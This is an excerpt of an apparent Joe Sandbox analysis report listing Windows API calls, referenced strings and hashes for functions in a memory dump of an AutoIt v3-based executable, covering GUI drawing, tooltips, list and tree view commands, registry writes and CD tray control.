SetTextColor.GDI32(?,?), ref: 00857425
GetSysColorBrush.USER32(0000000F), ref: 0085743B
GetSysColor.USER32(0000000F), ref: 00857446
CreateSolidBrush.GDI32(?), ref: 0085744B
GetSysColor.USER32(00000011), ref: 00857463
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00857471
SelectObject.GDI32(?,00000000), ref: 00857482
SetBkColor.GDI32(?,00000000), ref: 0085748B
SelectObject.GDI32(?,?), ref: 00857498
InflateRect.USER32(?,000000FF,000000FF), ref: 008574B7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 008574CE
GetWindowLongW.USER32(00000000,000000F0), ref: 008574DB
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0085752A
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00857554
InflateRect.USER32(?,000000FD,000000FD), ref: 00857572
DrawFocusRect.USER32(?,?), ref: 0085757D
GetSysColor.USER32(00000011), ref: 0085758E
SetTextColor.GDI32(?,00000000), ref: 00857596
DrawTextW.USER32(?,008570F5,000000FF,?,00000000), ref: 008575A8
SelectObject.GDI32(?,?), ref: 008575BF
DeleteObject.GDI32(?), ref: 008575CA
SelectObject.GDI32(?,?), ref: 008575D0
DeleteObject.GDI32(?), ref: 008575D5
SetTextColor.GDI32(?,?), ref: 008575DB
SetBkColor.GDI32(?,?), ref: 008575E5

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 3cec06166b60066e806c2c413f3ee54f6bcdcbf8d1050cfa8c6b02d803a76810
Instruction ID: 95e4528ffd98773882fec507af1f19da99e66a7dae2ea0ee99f28d6cc61fcd2f
Opcode Fuzzy Hash: 3cec06166b60066e806c2c413f3ee54f6bcdcbf8d1050cfa8c6b02d803a76810
Instruction Fuzzy Hash: 2B615C72900718AFDF019FA4DC49EAEBFB9FB08362F118115F915AB2A1E7749940CF90

Function 00850FF3 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00851128
GetDesktopWindow.USER32 ref: 0085113D
GetWindowRect.USER32(00000000), ref: 00851144
GetWindowLongW.USER32(?,000000F0), ref: 00851199
DestroyWindow.USER32(?), ref: 008511B9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 008511ED
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0085120B
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0085121D
SendMessageW.USER32(00000000,00000421,?,?), ref: 00851232
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 00851245
IsWindowVisible.USER32(00000000), ref: 008512A1
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 008512BC
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 008512D0
GetWindowRect.USER32(00000000,?), ref: 008512E8
MonitorFromPoint.USER32(?,?,00000002), ref: 0085130E
GetMonitorInfoW.USER32(00000000,?), ref: 00851328
CopyRect.USER32(?,?), ref: 0085133F
SendMessageW.USER32(00000000,00000412,00000000), ref: 008513AA

Strings

tooltips_class32, xrefs: 008511E6
(, xrefs: 0085131B
0, xrefs: 008510D3

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: c31e7adf7dbf44aa55bc4ff14a1f303fede16c5cc7bac940fd59adc217c5801f
Instruction ID: 9d0e937be3b844490c2fe1ee3641613475bdcd92d2dae75dcc5c0b340e1c6413
Opcode Fuzzy Hash: c31e7adf7dbf44aa55bc4ff14a1f303fede16c5cc7bac940fd59adc217c5801f
Instruction Fuzzy Hash: F9B16971604341AFDB04DF64C889B6ABBE4FF88355F00891CF999DB2A1D775E848CB91

Function 00850241 Relevance: 35.4, APIs: 7, Strings: 13, Instructions: 391windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 008502E5
_wcslen.LIBCMT ref: 0085031F
_wcslen.LIBCMT ref: 00850389
_wcslen.LIBCMT ref: 008503F1
_wcslen.LIBCMT ref: 00850475
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 008504C5
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00850504

Part of subcall function 007DF9F2: _wcslen.LIBCMT ref: 007DF9FD

Part of subcall function 0082223F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00822258
Part of subcall function 0082223F: SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 0082228A

Strings

SELECTCLEAR, xrefs: 0085052D
SELECT, xrefs: 00850548
DESELECT, xrefs: 0085059C
GETITEMCOUNT, xrefs: 00850316, 00850337
SELECTALL, xrefs: 00850515
GETSELECTED, xrefs: 008505E1
GETSELECTEDCOUNT, xrefs: 00850470, 0085048B
VIEWCHANGE, xrefs: 00850675
ISSELECTED, xrefs: 008504DD
GETTEXT, xrefs: 008503EC, 00850407
GETSUBITEMCOUNT, xrefs: 00850384, 0085039F
FINDITEM, xrefs: 00850627
SELECTINVERT, xrefs: 0085057E

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 1103490817-719923060
Opcode ID: 4cbf2bfa232cc36519693051ea6965cdb1624c3507a1def24578bfd55e67900e
Instruction ID: bf0aac0a4af1b11eb98ab7a33f3d1ed5a5a9d19a398e9243037498ebd695f185
Opcode Fuzzy Hash: 4cbf2bfa232cc36519693051ea6965cdb1624c3507a1def24578bfd55e67900e
Instruction Fuzzy Hash: A6E18C312083059FC714EF24C55196AB3E6FF98319B14496DF896EB3A2DB34ED49CB82

Function 007D8891 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 007D8968
GetSystemMetrics.USER32(00000007), ref: 007D8970
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 007D899B
GetSystemMetrics.USER32(00000008), ref: 007D89A3
GetSystemMetrics.USER32(00000004), ref: 007D89C8
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 007D89E5
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 007D89F5
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 007D8A28
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 007D8A3C
GetClientRect.USER32(00000000,000000FF), ref: 007D8A5A
GetStockObject.GDI32(00000011), ref: 007D8A76
SendMessageW.USER32(00000000,00000030,00000000), ref: 007D8A81

Part of subcall function 007D912D: GetCursorPos.USER32(?), ref: 007D9141
Part of subcall function 007D912D: ScreenToClient.USER32(00000000,?), ref: 007D915E
Part of subcall function 007D912D: GetAsyncKeyState.USER32(00000001), ref: 007D9183
Part of subcall function 007D912D: GetAsyncKeyState.USER32(00000002), ref: 007D919D

SetTimer.USER32(00000000,00000000,00000028,007D90FC), ref: 007D8AA8

Strings

AutoIt v3 GUI, xrefs: 007D8A20

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 242b7a713c3fd7bc7ed578763a6ba37bfdec7ed713254db2e7e5e1a452b2a71d
Instruction ID: efa9598c6257c2bc600d8fcf70ab0f4ef601b5a934fce723bd6618383dd9bf6d
Opcode Fuzzy Hash: 242b7a713c3fd7bc7ed578763a6ba37bfdec7ed713254db2e7e5e1a452b2a71d
Instruction Fuzzy Hash: 52B17E75A0020A9FDF14DFA8CC49BAE7BB5FB48315F14422AFA55E7290DB38A840CF51

Function 00820D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 008210F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00821114
Part of subcall function 008210F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00820B9B,?,?,?), ref: 00821120
Part of subcall function 008210F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00820B9B,?,?,?), ref: 0082112F
Part of subcall function 008210F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00820B9B,?,?,?), ref: 00821136
Part of subcall function 008210F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0082114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00820DF5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00820E29
GetLengthSid.ADVAPI32(?), ref: 00820E40
GetAce.ADVAPI32(?,00000000,?), ref: 00820E7A
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00820E96
GetLengthSid.ADVAPI32(?), ref: 00820EAD
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00820EB5
HeapAlloc.KERNEL32(00000000), ref: 00820EBC
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00820EDD
CopySid.ADVAPI32(00000000), ref: 00820EE4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00820F13
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00820F35
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00820F47
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00820F6E
HeapFree.KERNEL32(00000000), ref: 00820F75
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00820F7E
HeapFree.KERNEL32(00000000), ref: 00820F85
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00820F8E
HeapFree.KERNEL32(00000000), ref: 00820F95
GetProcessHeap.KERNEL32(00000000,?), ref: 00820FA1
HeapFree.KERNEL32(00000000), ref: 00820FA8

Part of subcall function 00821193: GetProcessHeap.KERNEL32(00000008,00820BB1,?,00000000,?,00820BB1,?), ref: 008211A1
Part of subcall function 00821193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00820BB1,?), ref: 008211A8
Part of subcall function 00821193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00820BB1,?), ref: 008211B7

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: b82d427d22c0f5630cd0f011efd4089353a714539e81240059e0a1e1a129a1dc
Instruction ID: e8fd5a8f357dda4ca454edf5055c1e289083482d309abcadce38e1268c6ff566
Opcode Fuzzy Hash: b82d427d22c0f5630cd0f011efd4089353a714539e81240059e0a1e1a129a1dc
Instruction Fuzzy Hash: 4E71587290031AAFDF209FA4ED48BAEBBB8FF04311F144115F959E6192DB359A49CF60

Function 0084C3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0084C4BD
RegCreateKeyExW.ADVAPI32(?,?,00000000,0085CC08,00000000,?,00000000,?,?), ref: 0084C544
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 0084C5A4
_wcslen.LIBCMT ref: 0084C5F4
_wcslen.LIBCMT ref: 0084C66F
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 0084C6B2
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 0084C7C1
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 0084C84D
RegCloseKey.ADVAPI32(?), ref: 0084C881
RegCloseKey.ADVAPI32(00000000), ref: 0084C88E
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 0084C960

Strings

REG_DWORD, xrefs: 0084C804
REG_BINARY, xrefs: 0084C913
REG_SZ, xrefs: 0084C644
REG_MULTI_SZ, xrefs: 0084C6F5
REG_QWORD, xrefs: 0084C8C3
REG_EXPAND_SZ, xrefs: 0084C5CD

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: ad432cc47ffb00ab0dae1c5dd31c31be37508c2991f1643c39376d3ae7cc8a18
Instruction ID: be2dd260acb22fb38b473eb4da6896b001c3d3eb43183bb3858c07a2195cdbe6
Opcode Fuzzy Hash: ad432cc47ffb00ab0dae1c5dd31c31be37508c2991f1643c39376d3ae7cc8a18
Instruction Fuzzy Hash: 1D123335604204DFDB54DF14C885E2AB7E9FF88714F14889CF88A9B2A2DB35ED41CB85

Function 0085091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 008509C6
_wcslen.LIBCMT ref: 00850A01
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00850A54
_wcslen.LIBCMT ref: 00850A8A
_wcslen.LIBCMT ref: 00850B06
_wcslen.LIBCMT ref: 00850B81

Part of subcall function 007DF9F2: _wcslen.LIBCMT ref: 007DF9FD

Part of subcall function 00822BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00822BFA

Strings

COLLAPSE, xrefs: 00850B01, 00850B1C
CHECK, xrefs: 00850A85, 00850AA0
EXPAND, xrefs: 00850BF8
ISCHECKED, xrefs: 00850CE1
GETTEXT, xrefs: 00850C97
SELECT, xrefs: 00850D11
GETTOTALCOUNT, xrefs: 008509F2, 00850A17
GETITEMCOUNT, xrefs: 00850C1E
UNCHECK, xrefs: 00850D3E
EXISTS, xrefs: 00850B7C, 00850B97
GETSELECTED, xrefs: 00850C4E

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: c51dc83d486010271f7f126d6b0567284bd58b4e2e66e7241a66aa9cf673576d
Instruction ID: 069bf50da15b63899b403c40f4cfe979c524736a96c0bd3eeb07e5e1809b08bc
Opcode Fuzzy Hash: c51dc83d486010271f7f126d6b0567284bd58b4e2e66e7241a66aa9cf673576d
Instruction Fuzzy Hash: B4E157356083119FC714EF24C49092AB7E2FF98319B14895DF896AB362DB35ED49CF82

Function 0084C998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,0084B6AE,?,?), ref: 0084C9B5
_wcslen.LIBCMT ref: 0084C9F1
_wcslen.LIBCMT ref: 0084CA68
_wcslen.LIBCMT ref: 0084CA9E
_wcslen.LIBCMT ref: 0084CAF9
_wcslen.LIBCMT ref: 0084CB2F
_wcslen.LIBCMT ref: 0084CB7F

Strings

HKEY_CLASSES_ROOT, xrefs: 0084CAF3, 0084CAF8
HKLM, xrefs: 0084CA98, 0084CA9D
HKEY_CURRENT_USER, xrefs: 0084CBBD
HKEY_USERS, xrefs: 0084CBDF
HKU, xrefs: 0084CBF0
HKCR, xrefs: 0084CB29, 0084CB2E
HKEY_CURRENT_CONFIG, xrefs: 0084CB79, 0084CB7E
HKCU, xrefs: 0084CBCE
HKCC, xrefs: 0084CBAC
HKEY_LOCAL_MACHINE, xrefs: 0084CA62, 0084CA67

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: 67eee131789614d5098ba0191f8899b16f4eae76c563fc53787b7cf22e82a1f7
Instruction ID: 2466a167981afbf23a6eeb048a47ef226ff5866224fda638ed2ab8feb5e560e5
Opcode Fuzzy Hash: 67eee131789614d5098ba0191f8899b16f4eae76c563fc53787b7cf22e82a1f7
Instruction Fuzzy Hash: 5D71167260212E8BCB60EE7CCD515BE33A9FF60764B250528FC66E7284EA35DD44C7A0

Function 0085833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0085835A
_wcslen.LIBCMT ref: 0085836E
_wcslen.LIBCMT ref: 00858391
_wcslen.LIBCMT ref: 008583B4
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 008583F2
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00855BF2), ref: 0085844E
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00858487
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 008584CA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00858501
FreeLibrary.KERNEL32(?), ref: 0085850D
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0085851D
DestroyIcon.USER32(?,?,?,?,?,00855BF2), ref: 0085852C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00858549
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00858555

Strings

.dll, xrefs: 008583AB
.exe, xrefs: 00858388
.icl, xrefs: 00858368

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: 86b6ce909afbbb3c0a9d1292aadd631f5654f4cad30e1cb47e919773224aff60
Instruction ID: 1dc692e3f9c63079141f89cab4e051a1bed2853b7ff8af6e103b3bc514486003
Opcode Fuzzy Hash: 86b6ce909afbbb3c0a9d1292aadd631f5654f4cad30e1cb47e919773224aff60
Instruction Fuzzy Hash: C461AE71500319FEEB149F64CC85BBE77A8FB08B22F10454AFD15E61D1EB78A994CBA0

Function 007C7778 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON

Download Yara Rule

Strings

#include-once, xrefs: 007C782F
Cannot parse #include, xrefs: 00805279
#notrayicon, xrefs: 007C77E7
#requireadmin, xrefs: 007C77FF
Unterminated group of comments, xrefs: 0080528C
', xrefs: 00805169
#comments-start, xrefs: 007C785F, 007C78B1
#comments-end, xrefs: 007C78D9
#OnAutoItStartRegister, xrefs: 007C7817
#ce, xrefs: 007C78ED
", xrefs: 00805153
#include, xrefs: 007C7847
#cs, xrefs: 007C7873, 007C78C5
Bad directive syntax error, xrefs: 0080519A
#pragma compile, xrefs: 007C77D3

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID:
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 0-1645009161
Opcode ID: f674a27c600230a9aba7a9f8a57b355e69afd28fd64bba0f6c3df98fbcfbc9f1
Instruction ID: 329f013c8e33aff447018a4b260cf5543fe9fe30895c5b665ae13ff246ea91d8
Opcode Fuzzy Hash: f674a27c600230a9aba7a9f8a57b355e69afd28fd64bba0f6c3df98fbcfbc9f1
Instruction Fuzzy Hash: 2781D471644609FBDB64AF60CD46FAF37A8FF14300F04402DF915AA296EB78DA15CBA1

Function 00833E79 Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 205COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00833EF8
_wcslen.LIBCMT ref: 00833F03
_wcslen.LIBCMT ref: 00833F5A
_wcslen.LIBCMT ref: 00833F98
GetDriveTypeW.KERNEL32(?), ref: 00833FD6
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0083401E
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00834059
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00834087

Strings

set cd door , xrefs: 00834028
type cdaudio alias cd wait, xrefs: 00834001
wait, xrefs: 00834044
closed, xrefs: 00833F08, 00833F2D, 00833F46, 00833F7E, 00833F97
open, xrefs: 00833F54, 00833F59
close cd wait, xrefs: 00834072
open , xrefs: 00833FE5
close, xrefs: 00833EFE, 00833F18

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: SendString_wcslen$BuffCharDriveLowerType
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1839972693-4113822522
Opcode ID: 1028b1f84218b9c85da7da50c984ede39f1e1a4dcad20dd87cbd74880d94fdc6
Instruction ID: 875e718ae1d2cafa2070e3ed7d0b5cf9641e48406217fec82c5abd4c97b76426
Opcode Fuzzy Hash: 1028b1f84218b9c85da7da50c984ede39f1e1a4dcad20dd87cbd74880d94fdc6
Instruction Fuzzy Hash: 1C71DE326046019FC310EF24C89096AB7F4FF98758F50492DF9A6D7251EB35ED49CB91

Function 00825A1B Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00825A2E
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00825A40
SetWindowTextW.USER32(?,?), ref: 00825A57
GetDlgItem.USER32(?,000003EA), ref: 00825A6C
